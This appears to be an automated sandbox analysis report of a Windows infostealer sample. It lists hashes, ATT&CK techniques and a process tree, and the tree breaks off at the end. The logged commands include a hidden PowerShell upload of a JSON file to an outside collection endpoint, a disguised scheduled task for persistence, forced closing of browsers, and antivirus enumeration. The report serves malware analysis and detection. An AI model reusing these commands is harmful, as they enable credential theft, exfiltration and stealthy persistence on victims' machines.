c86a7ce6669d21d2976f5e5b76bbca23b23b1a107fc95d0638383acf36bee138

Analysis

max time kernel
151s
max time network
158s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/08/2026, 02:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe
Size 122.2MB
Sample260815-csxjmsxbpg
SHA256 c86a7ce6669d21d2976f5e5b76bbca23b23b1a107fc95d0638383acf36bee138
MD5 8d0558680575201d5dcc1de4a67894d8
SHA1 94162b2e71c91a25b8245531d33e174685c7ca6a
SHA512 8805551317e8893883f4be575db47e9d4393ac4587ade32c6e1ae6117a8ae84d0242215a6b3bd09c860b689f3eadf005f2685a633c3b0b888517ab5ebbef4e1a
SSDEEP 1572864:a6zuLINumgj6iQfBZArpi1laVsxzKiZ63lH89a9cePSJ/vKeYw:a6zcmgmzBa1i1lAsxN+Jua9RSJSK
TLSH
T17358F11663E111AAD577D178C7AB6203EB72B40B13308BDF329C43652F63AE45E7A760
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	4572	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4572	powershell.exe
5404	powershell.exe
4360	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
5776	javaw.exe
1796	javaw.exe
4412	AudioDriverSetup.exe
4768	javaw.exe
5868	javaw.exe

Loads dropped DLL 50 IoCs

pid	Process
260	2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe
5776	javaw.exe
5776	javaw.exe
5776	javaw.exe
5776	javaw.exe
5776	javaw.exe
5776	javaw.exe
5776	javaw.exe
5776	javaw.exe
5776	javaw.exe
5776	javaw.exe
5776	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
4412	AudioDriverSetup.exe
4768	javaw.exe
4768	javaw.exe
4768	javaw.exe
4768	javaw.exe
4768	javaw.exe
4768	javaw.exe
4768	javaw.exe
4768	javaw.exe
4768	javaw.exe
4768	javaw.exe
4768	javaw.exe
1796	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	api.gofile.io
21	api.gofile.io

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3052	tasklist.exe
5472	tasklist.exe
3656	tasklist.exe
3016	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1132	cmd.exe
4152	cmd.exe
3500	cmd.exe
2428	cmd.exe
2276	cmd.exe
1740	cmd.exe
2876	cmd.exe
4008	cmd.exe
6004	cmd.exe
3612	cmd.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	javaw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	javaw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	javaw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	javaw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	javaw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	javaw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	javaw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	javaw.exe

Kills process with taskkill 28 IoCs

defense_evasion

pid	Process
2992	taskkill.exe
200	taskkill.exe
3064	taskkill.exe
3108	taskkill.exe
3648	taskkill.exe
4172	taskkill.exe
1308	taskkill.exe
6048	taskkill.exe
1600	taskkill.exe
2588	taskkill.exe
2324	taskkill.exe
5684	taskkill.exe
4952	taskkill.exe
5180	taskkill.exe
2952	taskkill.exe
2992	taskkill.exe
3104	taskkill.exe
1056	taskkill.exe
2976	taskkill.exe
6012	taskkill.exe
4712	taskkill.exe
5376	taskkill.exe
1108	taskkill.exe
264	taskkill.exe
5536	taskkill.exe
1572	taskkill.exe
1884	taskkill.exe
620	taskkill.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5972	schtasks.exe
5488	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4572	powershell.exe
4572	powershell.exe
5404	powershell.exe
5404	powershell.exe
5404	powershell.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1324	wmic.exe
1324	wmic.exe
1324	wmic.exe
1324	wmic.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
1796	javaw.exe
2604	wmic.exe
2604	wmic.exe
2604	wmic.exe
2604	wmic.exe
4360	powershell.exe
4360	powershell.exe
4360	powershell.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
2024	wmic.exe
2024	wmic.exe
2024	wmic.exe
2024	wmic.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe
5868	javaw.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	3052	tasklist.exe
Token: SeDebugPrivilege	5404	powershell.exe
Token: SeIncreaseQuotaPrivilege	5404	powershell.exe
Token: SeSecurityPrivilege	5404	powershell.exe
Token: SeTakeOwnershipPrivilege	5404	powershell.exe
Token: SeLoadDriverPrivilege	5404	powershell.exe
Token: SeSystemProfilePrivilege	5404	powershell.exe
Token: SeSystemtimePrivilege	5404	powershell.exe
Token: SeProfSingleProcessPrivilege	5404	powershell.exe
Token: SeIncBasePriorityPrivilege	5404	powershell.exe
Token: SeCreatePagefilePrivilege	5404	powershell.exe
Token: SeBackupPrivilege	5404	powershell.exe
Token: SeRestorePrivilege	5404	powershell.exe
Token: SeShutdownPrivilege	5404	powershell.exe
Token: SeDebugPrivilege	5404	powershell.exe
Token: SeSystemEnvironmentPrivilege	5404	powershell.exe
Token: SeRemoteShutdownPrivilege	5404	powershell.exe
Token: SeUndockPrivilege	5404	powershell.exe
Token: SeManageVolumePrivilege	5404	powershell.exe
Token: 33	5404	powershell.exe
Token: 34	5404	powershell.exe
Token: 35	5404	powershell.exe
Token: 36	5404	powershell.exe
Token: SeIncreaseQuotaPrivilege	5404	powershell.exe
Token: SeSecurityPrivilege	5404	powershell.exe
Token: SeTakeOwnershipPrivilege	5404	powershell.exe
Token: SeLoadDriverPrivilege	5404	powershell.exe
Token: SeSystemProfilePrivilege	5404	powershell.exe
Token: SeSystemtimePrivilege	5404	powershell.exe
Token: SeProfSingleProcessPrivilege	5404	powershell.exe
Token: SeIncBasePriorityPrivilege	5404	powershell.exe
Token: SeCreatePagefilePrivilege	5404	powershell.exe
Token: SeBackupPrivilege	5404	powershell.exe
Token: SeRestorePrivilege	5404	powershell.exe
Token: SeShutdownPrivilege	5404	powershell.exe
Token: SeDebugPrivilege	5404	powershell.exe
Token: SeSystemEnvironmentPrivilege	5404	powershell.exe
Token: SeRemoteShutdownPrivilege	5404	powershell.exe
Token: SeUndockPrivilege	5404	powershell.exe
Token: SeManageVolumePrivilege	5404	powershell.exe
Token: 33	5404	powershell.exe
Token: 34	5404	powershell.exe
Token: 35	5404	powershell.exe
Token: 36	5404	powershell.exe
Token: SeDebugPrivilege	5472	tasklist.exe
Token: SeDebugPrivilege	6048	taskkill.exe
Token: SeDebugPrivilege	2992	taskkill.exe
Token: SeDebugPrivilege	3108	taskkill.exe
Token: SeDebugPrivilege	3104	taskkill.exe
Token: SeDebugPrivilege	1600	taskkill.exe
Token: SeDebugPrivilege	1056	taskkill.exe
Token: SeDebugPrivilege	264	taskkill.exe
Token: SeDebugPrivilege	2588	taskkill.exe
Token: SeDebugPrivilege	3648	taskkill.exe
Token: SeDebugPrivilege	2976	taskkill.exe
Token: SeDebugPrivilege	2324	taskkill.exe
Token: SeDebugPrivilege	6012	taskkill.exe
Token: SeDebugPrivilege	4172	taskkill.exe
Token: SeDebugPrivilege	5536	taskkill.exe
Token: SeDebugPrivilege	1796	javaw.exe
Token: SeDebugPrivilege	1796	javaw.exe
Token: SeDebugPrivilege	1796	javaw.exe
Token: SeDebugPrivilege	1796	javaw.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 260 wrote to memory of 1740	260	2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe	89
PID 1740 wrote to memory of 3152	1740	cmd.exe	91
PID 3152 wrote to memory of 5820	3152	net.exe	92
PID 260 wrote to memory of 2876	260	2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe	93
PID 2876 wrote to memory of 3412	2876	cmd.exe	95
PID 3412 wrote to memory of 4948	3412	net.exe	96
PID 260 wrote to memory of 4572	260	2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe	97
PID 260 wrote to memory of 2428	260	2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe	99
PID 2428 wrote to memory of 1964	2428	cmd.exe	101
PID 1964 wrote to memory of 5448	1964	net.exe	102
PID 260 wrote to memory of 4008	260	2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe	103
PID 4008 wrote to memory of 3388	4008	cmd.exe	105
PID 3388 wrote to memory of 5708	3388	net.exe	106
PID 260 wrote to memory of 3496	260	2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe	107
PID 260 wrote to memory of 6004	260	2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe	109
PID 6004 wrote to memory of 5776	6004	cmd.exe	111
PID 5776 wrote to memory of 1796	5776	javaw.exe	112
PID 1796 wrote to memory of 3052	1796	javaw.exe	113
PID 1796 wrote to memory of 5404	1796	javaw.exe	116
PID 1796 wrote to memory of 3608	1796	javaw.exe	119
PID 1796 wrote to memory of 5972	1796	javaw.exe	121
PID 1796 wrote to memory of 5472	1796	javaw.exe	124
PID 1796 wrote to memory of 6048	1796	javaw.exe	126
PID 1796 wrote to memory of 2992	1796	javaw.exe	129
PID 1796 wrote to memory of 3108	1796	javaw.exe	131
PID 1796 wrote to memory of 3104	1796	javaw.exe	133
PID 1796 wrote to memory of 1600	1796	javaw.exe	135
PID 1796 wrote to memory of 1056	1796	javaw.exe	137
PID 4412 wrote to memory of 3612	4412	AudioDriverSetup.exe	139
PID 3612 wrote to memory of 1268	3612	cmd.exe	141
PID 1268 wrote to memory of 4768	1268	net.exe	175
PID 1796 wrote to memory of 264	1796	javaw.exe	143
PID 4412 wrote to memory of 1132	4412	AudioDriverSetup.exe	145
PID 1796 wrote to memory of 2588	1796	javaw.exe	148
PID 1132 wrote to memory of 3660	1132	cmd.exe	147
PID 3660 wrote to memory of 5232	3660	net.exe	150
PID 4412 wrote to memory of 4152	4412	AudioDriverSetup.exe	151
PID 1796 wrote to memory of 3648	1796	javaw.exe	153
PID 4152 wrote to memory of 4256	4152	cmd.exe	155
PID 4256 wrote to memory of 4900	4256	net.exe	156
PID 1796 wrote to memory of 2976	1796	javaw.exe	157
PID 4412 wrote to memory of 3500	4412	AudioDriverSetup.exe	158
PID 3500 wrote to memory of 5116	3500	cmd.exe	161
PID 5116 wrote to memory of 3420	5116	net.exe	162
PID 1796 wrote to memory of 2324	1796	javaw.exe	163
PID 1796 wrote to memory of 6012	1796	javaw.exe	165
PID 1796 wrote to memory of 4172	1796	javaw.exe	167
PID 4412 wrote to memory of 5868	4412	AudioDriverSetup.exe	181
PID 1796 wrote to memory of 5536	1796	javaw.exe	171
PID 4412 wrote to memory of 2276	4412	AudioDriverSetup.exe	173
PID 2276 wrote to memory of 4768	2276	cmd.exe	175
PID 1796 wrote to memory of 1324	1796	javaw.exe	177
PID 1796 wrote to memory of 2604	1796	javaw.exe	179
PID 4768 wrote to memory of 5868	4768	javaw.exe	181
PID 5868 wrote to memory of 3656	5868	javaw.exe	182
PID 5868 wrote to memory of 4360	5868	javaw.exe	184
PID 5868 wrote to memory of 2800	5868	javaw.exe	186
PID 5868 wrote to memory of 5488	5868	javaw.exe	188
PID 5868 wrote to memory of 3016	5868	javaw.exe	190
PID 5868 wrote to memory of 4712	5868	javaw.exe	192
PID 5868 wrote to memory of 5684	5868	javaw.exe	194
PID 5868 wrote to memory of 5376	5868	javaw.exe	196
PID 5868 wrote to memory of 1572	5868	javaw.exe	198
PID 5868 wrote to memory of 1884	5868	javaw.exe	200

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3152
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $body=Get-Content -Raw -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\1ef462691b5a4f81_wh.json'; Invoke-RestMethod -Uri 'https://divine-dream-879d.njalla1337.workers.dev/collect' -Method Post -Body $body -ContentType 'application/json' -TimeoutSec 10 | Out-Null"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5708
- C:\Windows\System32\tar.exe
  C:\Windows\System32\tar.exe -xzf sysaudio.tar.gz
  2⤵
  PID:3496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\_go.bat
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6004
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\javaw.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\javaw.exe -Xms16m -Xmx256m -XX:MaxMetaspaceSize=64m -XX:CompressedClassSpaceSize=32m -XX:+UseSerialGC -XX:-UsePerfData -XX:TieredStopAtLevel=1 --enable-native-access=ALL-UNNAMED -Dorg.sqlite.tmpdir=C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\sqlite-native -DAGENT_LOADER_EXE=C:\Users\Admin\AppData\Local\Temp\2026-08-14_8d0558680575201d5dcc1de4a67894d8_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_zxxz.exe -DAGENT_GOXLR=false -DAGENT_SEAL_KEY=e9d9230f3d3b27c0eae9a5c1c18844cb -jar C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\rtaudio-config.jar --vv-from-loader --vv-elevated
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:5776
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\javaw.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_2rv1m_260\jre\bin\javaw.exe -jar C:\Users\Admin\AppData\Local\Temp\cv-6795836071609072707\0f09d21b045444af966b97ac248b06f2.dat --vv-from-loader --vv-elevated
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1796
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /fi "imagename eq LsaIso.exe"
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -Command "$avs = @(); try { Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction Stop | ForEach-Object { if ($_.displayName) { $avs += $_.displayName } } } catch {} if ($avs.Count -eq 0) { try { $s = Get-MpComputerStatus -ErrorAction SilentlyContinue; if ($s -and $s.AntivirusEnabled) { $avs += 'Windows Defender' } } catch {} } if ($avs.Count -eq 0) { 'None' } else { ($avs | Select-Object -Unique) -join ', ' }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5404
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Delete /F /TN Microsoft\Windows\AudioEndpointMonitor
        5⤵
        
        PID:3608
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Create /F /TN Microsoft\Windows\AudioDriverMaintenance /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\AudioDriver\AudioDriverSetup.exe\" --vv-reboot-steal" /SC ONLOGON /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5972
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /fi "imagename eq LsaIso.exe"
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:5472
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im chrome.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6048
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im brave.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2992
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im msedge.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3108
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im msedgewebview2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3104
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im opera.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im firefox.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1056
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im librewolf.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:264
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im waterfox.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2588
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im zen.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3648
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im vivaldi.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2976
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im browser.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2324
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im QQBrowser.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6012
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im 360chrome.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4172
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /f /t /im msedgewebview2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5536
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic process where name='firefox.exe' get ExecutablePath /format:list
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1324
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic process where name='firefox.exe' get ExecutablePath /format:list
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2604

C:\Users\Admin\AppData\Local\Microsoft\Windows\AudioDriver\AudioDriverSetup.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\AudioDriver\AudioDriverSetup.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1268
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4256
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3420
- C:\Windows\System32\tar.exe
  C:\Windows\System32\tar.exe -xzf sysaudio.tar.gz
  2⤵
  PID:5868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_d4wdz_4412\_go.bat
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_d4wdz_4412\jre\bin\javaw.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_d4wdz_4412\jre\bin\javaw.exe -Xms16m -Xmx256m -XX:MaxMetaspaceSize=64m -XX:CompressedClassSpaceSize=32m -XX:+UseSerialGC -XX:-UsePerfData -XX:TieredStopAtLevel=1 --enable-native-access=ALL-UNNAMED -Dorg.sqlite.tmpdir=C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_d4wdz_4412\sqlite-native -DAGENT_LOADER_EXE=C:\Users\Admin\AppData\Local\Microsoft\Windows\AudioDriver\AudioDriverSetup.exe -DAGENT_GOXLR=false -DAGENT_SEAL_KEY=e9d9230f3d3b27c0eae9a5c1c18844cb -jar C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_d4wdz_4412\rtaudio-config.jar --vv-from-loader --vv-elevated
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:4768
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_d4wdz_4412\jre\bin\javaw.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Audio_d4wdz_4412\jre\bin\javaw.exe -jar C:\Users\Admin\AppData\Local\Temp\cv-11485773237048150731\68291239493b4dd4acacbb21be278b76.dat --vv-from-loader --vv-elevated
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5868
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /fi "imagename eq LsaIso.exe"
        5⤵
        Discovers running processes
        
        PID:3656
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -Command "$avs = @(); try { Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction Stop | ForEach-Object { if ($_.displayName) { $avs += $_.displayName } } } catch {} if ($avs.Count -eq 0) { try { $s = Get-MpComputerStatus -ErrorAction SilentlyContinue; if ($s -and $s.AntivirusEnabled) { $avs += 'Windows Defender' } } catch {} } if ($avs.Count -eq 0) { 'None' } else { ($avs | Select-Object -Unique) -join ', ' }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4360
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Delete /F /TN Microsoft\Windows\AudioEndpointMonitor
        5⤵
        
        PID:2800
    - - C:\Windows\SYSTEM32\schtasks.exe
        
